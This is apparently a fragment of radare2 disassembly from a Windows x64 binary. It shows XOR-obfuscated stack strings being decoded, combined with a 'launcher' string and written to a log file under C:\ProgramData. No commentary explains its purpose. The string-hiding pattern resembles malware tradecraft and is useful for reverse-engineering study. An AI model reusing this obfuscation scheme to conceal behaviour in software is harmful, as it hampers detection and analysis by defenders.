mov qword [rbp + 0x1c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x30e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x30e8], rax
movdqa xmm0, xmmword [rbp + 0x30e0]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x19c0]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x22], 0
mov edx, 0x1dd
lea rcx, [rbp + 0xb60]
call fcn.14000d400
lea r8, [rbp + 0xb60]
lea rdx, [rbp + 0x19a0]
lea rcx, [rbp + 0x22]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1e0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1e8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x30f0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x30f8], rax
movdqa xmm0, xmmword [rbp + 0x30f0]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1980]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1d0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1d8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3100], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3108], rax
movdqa xmm0, xmmword [rbp + 0x3100]
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x1d0], xmm0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1960]
call fcn.140018f00
nop
lea r8, [rbp + 0x1e0]
mov rdx, rax
lea rcx, [rbp + 0x1520]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xac0]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xac0]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xae0]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x1f0]
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x1940]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xb00]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x680]
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0x1920]
call fcn.140019030
nop
lea r9, [rbp + 0xaa0]
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xb20]
call fcn.14001a0f0
nop
mov r9, r14
lea r8, [rbp + 0xb20]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xc00]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x25b8]
call fcn.140017c10
nop
lea rdx, [rbp + 0xc00]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2660]
call fcn.140017b90
lea rcx, [rbp + 0x2660]
call fcn.140017e40
nop
lea rcx, [rbp + 0xc00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xb20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1920]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xb00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1940]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xae0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xac0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1520]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1960]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1980]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x19a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x19c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x19e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xaa0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1a00]
call fcn.140017eb0
jmp 0x140013845
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xe2fd62936d5f3e9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3118], rax
movdqa xmm0, xmmword [rbp + 0x3110]
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x200], xmm0
mov rcx, r15
call fcn.140017ea0
lea r8, [rbp + 0x3b40]
lea rdx, [rbp + 0x200]
mov rcx, rax
call fcn.14000d1b0
cmp eax, 1
movabs rax, 0x8753f2366f3dba69
jne 0x14001653c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3120], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3128], rax
movdqa xmm0, xmmword [rbp + 0x3120]
xorps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1c00]
call fcn.140017fd0
mov r15, rax
lea rdx, [rbp + 0x3b40]
lea rcx, [rbp + 0x1be0]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x640], rcx
movabs rax, 0x87994ffc19775084
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x648], rcx
movabs rax, 0xda915345077dfba1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
movabs rax, 0x2b30515d581d3461
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x640], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3130], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3138], rax
vmovdqa xmm0, xmmword [rbp + 0x3130]
vxorps xmm0, xmm0, xmmword [rbp + 0x220]
vmovdqa xmmword [rbp + 0x220], xmm0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x1bc0]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x260], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x268], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3140], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3148], rax
movdqa xmm0, xmmword [rbp + 0x3140]
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x260], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3150], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3158], rax
movdqa xmm0, xmmword [rbp + 0x3150]
xorps xmm0, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x230], xmm0
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x1ba0]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x23], 0
mov edx, 0x1e0
lea rcx, [rbp + 0x1a20]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1b80]
lea rcx, [rbp + 0x23]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x250], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x258], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3160], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3168], rax
movdqa xmm0, xmmword [rbp + 0x3160]
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1b60]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x240], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x248], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3170], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3178], rax
movdqa xmm0, xmmword [rbp + 0x3170]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x1b40]
call fcn.140018f00
nop
lea r8, [rbp + 0x250]
mov rdx, rax
lea rcx, [rbp + 0x1b20]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1b00]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1ae0]
call fcn.140019110
nop
lea r8, [rbp + 0x260]
mov rdx, rax
lea rcx, [rbp + 0x1ac0]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1aa0]
call fcn.140019110
nop
lea r8, [rbp + 0x640]
mov rdx, rax
lea rcx, [rbp + 0x1a80]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1a60]
call fcn.140019110
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x1a40]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x28d0]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x28d0]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1a40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1a60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1a80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1aa0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ac0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ae0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ba0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1bc0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1be0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c00]
call fcn.140017eb0
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3180], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3188], rax
movdqa xmm0, xmmword [rbp + 0x3180]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x1dc0]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x800], rcx
movabs rax, 0x87994ffc19775084
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x808], rcx
movabs rax, 0xc2915345077dfba1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x810], rcx
movabs rax, 0x6a1f1f5d581d3561
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
movabs rax, 0xf296dfabacba95a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rcx, 0x6fb8bbcf1199d5c8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x36c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x36c8], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x36d0], rax
movabs r15, 0x2b30517d6269470e
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x36d8], rax
movabs rax, 0xf296df829c82bd87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x36e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x36e8], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x36c0]
vmovdqa ymmword [rbp + 0x800], ymm1
vmovdqa xmm0, xmmword [rbp + 0x36e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x820]
vmovdqa xmmword [rbp + 0x820], xmm0
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3190], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3198], rax
vmovdqa xmm0, xmmword [rbp + 0x3190]
vxorps xmm0, xmm0, xmmword [rbp + 0x280]
vmovdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x1da0]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2c0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2c8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x31a0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x31a8], rax
movdqa xmm0, xmmword [rbp + 0x31a0]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x31b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x31b8], rax
movdqa xmm0, xmmword [rbp + 0x31b0]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x1d80]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x24], 0
mov edx, 0x1e1
lea rcx, [rbp + 0x1c20]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1d60]
lea rcx, [rbp + 0x24]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2b8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x31c0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x31c8], rax
movdqa xmm0, xmmword [rbp + 0x31c0]
xorps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1d40]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2a0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2a8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x31d0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x31d8], rax
movdqa xmm0, xmmword [rbp + 0x31d0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x1d20]
call fcn.140018f00
nop
lea r8, [rbp + 0x2b0]
mov rdx, rax
lea rcx, [rbp + 0x1d00]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1ce0]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1cc0]
call fcn.140019110
nop
lea r8, [rbp + 0x2c0]
mov rdx, rax
lea rcx, [rbp + 0x1ca0]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1c80]
call fcn.140019110
nop
lea r8, [rbp + 0x800]
mov rdx, rax
lea rcx, [rbp + 0x1c60]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1c40]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x29d8]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x29d8]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1c40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ca0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1cc0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ce0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1da0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1dc0]
call fcn.140017eb0
mov dword [rbp + 0x3008], 0x50
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x31e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x31e8], rax
movdqa xmm0, xmmword [rbp + 0x31e0]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x1f20]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x8753f2366f3dba41
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x338], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x31f0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x31f8], rax
movdqa xmm0, xmmword [rbp + 0x31f0]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rax, 0x969e07fd036d5284
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0xc19158545379f0bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0x2b12710f071f356b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x6a0], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3200], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3208], rax
vmovdqa xmm0, xmmword [rbp + 0x3200]
vxorps xmm0, xmm0, xmmword [rbp + 0x2e0]
vmovdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x1f00]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x320], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x328], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3210], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3218], rax
movdqa xmm0, xmmword [rbp + 0x3210]
xorps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x320], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3220], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3228], rax
movdqa xmm0, xmmword [rbp + 0x3220]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x1ee0]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x25], 0
mov edx, 0x1e8
lea rcx, [rbp + 0xa80]
call fcn.14000d400
lea r8, [rbp + 0xa80]
lea rdx, [rbp + 0x1ec0]
lea rcx, [rbp + 0x25]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x310], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x318], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3230], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3238], rax
movdqa xmm0, xmmword [rbp + 0x3230]
xorps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x310], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1ea0]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x300], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x308], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3240], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3248], rax
movdqa xmm0, xmmword [rbp + 0x3240]
xorps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1e80]
call fcn.140018f00
nop
lea r8, [rbp + 0x310]
mov rdx, rax
lea rcx, [rbp + 0x1e60]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xa00]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xa00]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xa20]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x320]
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x1e40]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xa40]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x6a0]
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0x1e20]
call fcn.140019030
nop
mov r8, qword [rbp + 0x18]
mov rdx, rax
lea rcx, [rbp + 0x1e00]
call fcn.1400190a0
nop
lea r8, [rbp + 0x330]
mov rdx, rax
lea rcx, [rbp + 0x1de0]
call fcn.140019030
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xcc0]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x26c0]
call fcn.140017c10
nop
lea rdx, [rbp + 0xcc0]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2768]
call fcn.140017b90
lea rcx, [rbp + 0x2768]
call fcn.140017e40
nop
lea rcx, [rbp + 0xcc0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1de0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xa40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xa20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xa00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ea0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ec0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ee0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f20]
call fcn.140017eb0
mov ebx, dword [rbp + 0x3008]
lea rdx, [rbp + 0x3b40]
lea rcx, [rbp + 0x9e0]
call fcn.140017fd0
nop
mov edx, ebx
lea rcx, [rbp + 0x9e0]
call fcn.14000e0b0
mov r15, rax
lea rcx, [rbp + 0x9e0]
call fcn.140017eb0
cmp r15, 0xffffffffffffffff
jne 0x14001448d
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3250], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3258], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x3250]
movdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x2120]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x8753f2366f3d9b41
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3a0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x3a8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3260], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3268], rax
movdqa xmm0, xmmword [rbp + 0x3a0]
xorps xmm0, xmmword [rbp + 0x3260]
